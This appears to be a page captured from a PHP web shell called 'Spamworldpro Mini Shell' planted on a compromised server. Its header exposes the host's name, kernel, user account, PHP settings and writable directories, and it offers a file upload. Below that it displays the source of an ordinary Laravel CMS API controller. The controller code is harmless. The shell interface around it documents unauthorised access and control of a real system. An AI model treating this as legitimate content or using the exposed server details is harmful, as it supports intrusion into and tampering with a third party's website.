Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/CMS/Http/Controllers/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/CMS/Http/Controllers/API/CMSPublicController.php
<?php

namespace Corals\Modules\CMS\Http\Controllers\API;

use Corals\Foundation\Http\Controllers\APIPublicController;
use Corals\Modules\CMS\Services\CMSService;
use Illuminate\Http\Request;

class CMSPublicController extends APIPublicController
{
    protected $CMSService;

    public function __construct(CMSService $CMSService)
    {
        $this->CMSService = $CMSService;

        parent::__construct();
    }

    /**
     * @param Request $request
     * @param $type
     * @return \Illuminate\Http\JsonResponse|mixed
     */
    public function getContentListByType(Request $request, $type)
    {
        try {
            $validTypes = ['page', 'post', 'faq', 'news'];

            if (!in_array($type, $validTypes)) {
                throw new \Exception('Invalid type!! type should be of the following: ' . join(', ', $validTypes));
            }

            return $this->CMSService->contentListByType($request, $type);
        } catch (\Exception $exception) {
            return apiExceptionResponse($exception);
        }
    }

    public function show(Request $request, $slug)
    {
        try {
            $item = $this->CMSService->show($request, $slug);

            return apiResponse($item);
        } catch (\Exception $exception) {
            return apiExceptionResponse($exception);
        }
    }

    public function getPostsByCategory(Request $request, $slug)
    {
        try {
            return $this->CMSService->getPostsByCategory($request, $slug);
        } catch (\Exception $exception) {
            return apiExceptionResponse($exception);
        }
    }

    public function getPostsByTag(Request $request, $slug)
    {
        try {
            return $this->CMSService->getPostsByTag($request, $slug);
        } catch (\Exception $exception) {
            return apiExceptionResponse($exception);
        }
    }
}

Spamworldpro Mini